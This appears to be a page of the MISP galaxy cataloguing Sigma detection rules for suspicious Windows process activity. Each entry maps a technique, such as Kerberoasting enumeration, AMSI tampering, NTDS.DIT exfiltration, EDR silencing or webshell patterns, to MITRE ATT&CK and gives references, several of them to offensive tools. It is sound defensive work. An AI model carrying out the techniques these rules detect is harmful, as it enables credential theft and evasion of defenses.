The tag is: *misp-galaxy:sigma-rules="Potential SPN Enumeration Via Setspn.EXE"*

View relationships graph

Potential SPN Enumeration Via Setspn.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 14895. Table References

Links
https://www.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation/?edition=2019
https://web.archive.org/web/20200329173843/https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setspn_spn_enumeration.yml

Suspicious Windows Update Agent Empty Cmdline

Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Update Agent Empty Cmdline"*

View relationships graph

Suspicious Windows Update Agent Empty Cmdline has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 14896. Table References

Links
https://redcanary.com/blog/blackbyte-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wuauclt_no_cli_flags_execution.yml

New Kernel Driver Via SC.EXE

Detects creation of a new service (kernel driver) with the type "kernel"

The tag is: *misp-galaxy:sigma-rules="New Kernel Driver Via SC.EXE"*

View relationships graph

New Kernel Driver Via SC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14897. Table References

Links
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_new_kernel_driver.yml

Unmount Share Via Net.EXE

Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation

The tag is: *misp-galaxy:sigma-rules="Unmount Share Via Net.EXE"*

View relationships graph

Unmount Share Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

Table 14898. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_unmount.yml

Console CodePage Lookup Via CHCP

Detects use of chcp to look up the system locale value as part of host discovery

The tag is: *misp-galaxy:sigma-rules="Console CodePage Lookup Via CHCP"*

View relationships graph

Console CodePage Lookup Via CHCP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

Table 14899. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup.yml

HackTool - EDRSilencer Execution

Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.

The tag is: *misp-galaxy:sigma-rules="HackTool - EDRSilencer Execution"*

View relationships graph

HackTool - EDRSilencer Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-

language:likelihood-probability="almost-certain"

Table 14900. Table References

Links
https://github.com/netero1010/EDRSilencer
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_edrsilencer.yml

Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location

Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors.

The tag is: *misp-galaxy:sigma-rules="Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location"*

View relationships graph

Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14901. Table References

Links
https://en.wikipedia.org/wiki/IExpress
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iexpress_susp_execution.yml

RDP Connection Allowed Via Netsh.EXE

Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware

The tag is: *misp-galaxy:sigma-rules="RDP Connection Allowed Via Netsh.EXE"*

View relationships graph

RDP Connection Allowed Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 14902. Table References

Links
https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_rdp.yml

HTML Help HH.EXE Suspicious Child Process

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

The tag is: *misp-galaxy:sigma-rules="HTML Help HH.EXE Suspicious Child Process"*

View relationships graph

HTML Help HH.EXE Suspicious Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with

estimative-language:likelihood-probability="almost-certain"

Table 14903. Table References

Links
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml

Computer Discovery And Export Via Get-ADComputer Cmdlet

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

The tag is: *misp-galaxy:sigma-rules="Computer Discovery And Export Via Get-ADComputer Cmdlet"*

View relationships graph

Computer Discovery And Export Via Get-ADComputer Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 14904. Table References

Links
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_computer_discovery_get_adcomputer.yml

Suspicious MSHTA Child Process

Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution

The tag is: *misp-galaxy:sigma-rules="Suspicious MSHTA Child Process"*

View relationships graph

Suspicious MSHTA Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 14905. Table References

Links
https://www.trustedsec.com/july-2015/malicious-htas/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_child_processes.yml

Potential DLL Sideloading Via DeviceEnroller.EXE

Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Via DeviceEnroller.EXE"*

View relationships graph

Potential DLL Sideloading Via DeviceEnroller.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14906. Table References

Links
https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html
https://mobile.twitter.com/0gtweet/status/1564131230941122561
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_dll_sideloading.yml

Visual Studio Code Tunnel Service Installation

Detects the installation of VsCode tunnel (code-tunnel) as a service.

The tag is: *misp-galaxy:sigma-rules="Visual Studio Code Tunnel Service Installation"*

View relationships graph

Visual Studio Code Tunnel Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 14907. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://badoption.eu/blog/2023/01/31/code_c2.html
https://code.visualstudio.com/docs/remote/tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_service_install.yml

Renamed PingCastle Binary Execution

Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.

The tag is: *misp-galaxy:sigma-rules="Renamed PingCastle Binary Execution"*

View relationships graph

Renamed PingCastle Binary Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14908. Table References

Links
https://www.pingcastle.com/documentation/scanner/
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_pingcastle.yml

Fsutil Drive Enumeration

Attackers may leverage fsutil to enumerated connected drives.

The tag is: *misp-galaxy:sigma-rules="Fsutil Drive Enumeration"*

View relationships graph

Fsutil Drive Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 14909. Table References

Links
https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml
Turla has used fsutil fsinfo drives to list connected drives.[Turla has used fsutil fsinfo drives to list connected drives.]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml

HackTool - Bloodhound/Sharphound Execution

Detects command line parameters used by Bloodhound and Sharphound hack tools

The tag is: *misp-galaxy:sigma-rules="HackTool - Bloodhound/Sharphound Execution"*

View relationships graph

HackTool - Bloodhound/Sharphound Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14910. Table References

Links
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/SharpHound

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_bloodhound_sharphound.yml

PUA - Seatbelt Execution

Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters

The tag is: *misp-galaxy:sigma-rules="PUA - Seatbelt Execution"*

View relationships graph

PUA - Seatbelt Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 14911. Table References

Links
https://github.com/GhostPack/Seatbelt
https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml

Screen Capture Activity Via Psr.EXE

Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks.

The tag is: *misp-galaxy:sigma-rules="Screen Capture Activity Via Psr.EXE"*

View relationships graph

Screen Capture Activity Via Psr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 14912. Table References

Links

https://web.archive.org/web/20200229201156/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493861893.pdf
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://lolbas-project.github.io/lolbas/Binaries/Psr/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml

System Network Connections Discovery Via Net.EXE

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

The tag is: *misp-galaxy:sigma-rules="System Network Connections Discovery Via Net.EXE"*

View relationships graph

System Network Connections Discovery Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 14913. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_network_connections_discovery.yml

Remote Access Tool - ScreenConnect Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14914. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml

New Process Created Via Taskmgr.EXE

Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC

The tag is: *misp-galaxy:sigma-rules="New Process Created Via Taskmgr.EXE"*

View relationships graph

New Process Created Via Taskmgr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 14915. Table References

Links
https://twitter.com/ReneFreingruber/status/1172244989335810049
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_susp_child_process.yml

Potential Fake Instance Of Hxtsr.EXE Executed

HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe

The tag is: *misp-galaxy:sigma-rules="Potential Fake Instance Of Hxtsr.EXE Executed"*

View relationships graph

Potential Fake Instance Of Hxtsr.EXE Executed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 14916. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hxtsr_masquerading.yml

HackTool - SharPersist Execution

Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms

The tag is: *misp-galaxy:sigma-rules="HackTool - SharPersist Execution"*

View relationships graph

HackTool - SharPersist Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 14917. Table References

Links
https://github.com/mandiant/SharPersist
https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpersist.yml

Suspicious RunAs-Like Flag Combination

Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools

The tag is: *misp-galaxy:sigma-rules="Suspicious RunAs-Like Flag Combination"*

Table 14918. Table References

Links
https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_privilege_escalation_cli_patterns.yml

Windows AMSI Related Registry Tampering Via CommandLine

Detects tampering of AMSI (Anti-Malware Scan Interface) related registry values via command line tools such as reg.exe or PowerShell. AMSI provides a generic interface for applications and services to integrate with antimalware products. Adversaries may disable AMSI to evade detection of malicious scripts and code execution.

The tag is: *misp-galaxy:sigma-rules="Windows AMSI Related Registry Tampering Via CommandLine"*

View relationships graph

Windows AMSI Related Registry Tampering Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 14919. Table References

Links
https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/
https://github.com/arttoolkit/arttoolkit.github.io/blob/16d6230d009e58fd6f773f5317fd4d14c1f26004/_wadcoms/AMSI-Bypass-Jscript_amsienable.md
https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_amsi_registry_tampering.yml

Suspicious Process Patterns NTDS.DIT Exfil

Detects suspicious process patterns used in NTDS.DIT exfiltration

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Patterns NTDS.DIT Exfil"*

View relationships graph

Suspicious Process Patterns NTDS.DIT Exfil has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 14920. Table References

Links
https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/
https://github.com/zcgonvh/NTDSDumpEx

https://pentestlab.blog/tag/ntds-dit/
https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml

User Added to Local Administrators Group

Detects addition of users to the local administrator group via "Net" or "Add-LocalGroupMember".

The tag is: *misp-galaxy:sigma-rules="User Added to Local Administrators Group"*

View relationships graph

User Added to Local Administrators Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 14921. Table References

Links
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_local_admin_group.yml

Renamed Sysinternals Sdelete Execution

Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)

The tag is: *misp-galaxy:sigma-rules="Renamed Sysinternals Sdelete Execution"*

View relationships graph

Renamed Sysinternals Sdelete Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 14922. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml

Potentially Suspicious Usage Of Qemu

Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Usage Of Qemu"*

View relationships graph

Potentially Suspicious Usage Of Qemu has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 14923. Table References

Links
https://securelist.com/network-tunneling-with-qemu/111803/
https://www.qemu.org/docs/master/system/invocation.html#hxtool-5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_qemu_suspicious_execution.yml

Abuse of Service Permissions to Hide Services Via Set-Service

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: *misp-galaxy:sigma-rules="Abuse of Service Permissions to Hide Services Via Set-Service"*

View relationships graph

Abuse of Service Permissions to Hide Services Via Set-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness -

T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 14924. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
https://twitter.com/Alh4zr3d/status/1580925761996828672
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hide_services_via_set_service.yml

Proxy Execution Via Wuauclt.EXE

Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.

The tag is: *misp-galaxy:sigma-rules="Proxy Execution Via Wuauclt.EXE"*

View relationships graph

Proxy Execution Via Wuauclt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14925. Table References

Links
https://dtm.uk/wuauclt/
https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wuauclt_dll_loading.yml

Port Forwarding Activity Via SSH.EXE

Detects port forwarding activity via SSH.exe

The tag is: *misp-galaxy:sigma-rules="Port Forwarding Activity Via SSH.EXE"*

View relationships graph

Port Forwarding Activity Via SSH.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

Table 14926. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml

Chopper Webshell Process Pattern

Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells

The tag is: *misp-galaxy:sigma-rules="Chopper Webshell Process Pattern"*

View relationships graph

Chopper Webshell Process Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 14927. Table References

Links
https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml

Suspicious SYSTEM User Process Creation

Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)

The tag is: *misp-galaxy:sigma-rules="Suspicious SYSTEM User Process Creation"*

View relationships graph

Suspicious SYSTEM User Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 14928. Table References

Links
https://tools.thehacker.recipes/mimikatz/modules
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml

New Remote Desktop Connection Initiated Via Mstsc.EXE

Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules="New Remote Desktop Connection Initiated Via Mstsc.EXE"*

View relationships graph

New Remote Desktop Connection Initiated Via Mstsc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 14929. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml

Use of Scriptrunner.exe

The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting

The tag is: *misp-galaxy:sigma-rules="Use of Scriptrunner.exe"*

View relationships graph

Use of Scriptrunner.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14930. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml

Suspect Svchost Activity

It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.

The tag is: *misp-galaxy:sigma-rules="Suspect Svchost Activity"*

View relationships graph

Suspect Svchost Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14931. Table References

Links
https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_execution_with_no_cli_flags.yml

Suspicious Mstsc.EXE Execution With Local RDP File

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

The tag is: *misp-galaxy:sigma-rules="Suspicious Mstsc.EXE Execution With Local RDP File"*

View relationships graph

Suspicious Mstsc.EXE Execution With Local RDP File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14932. Table References

Links
https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/
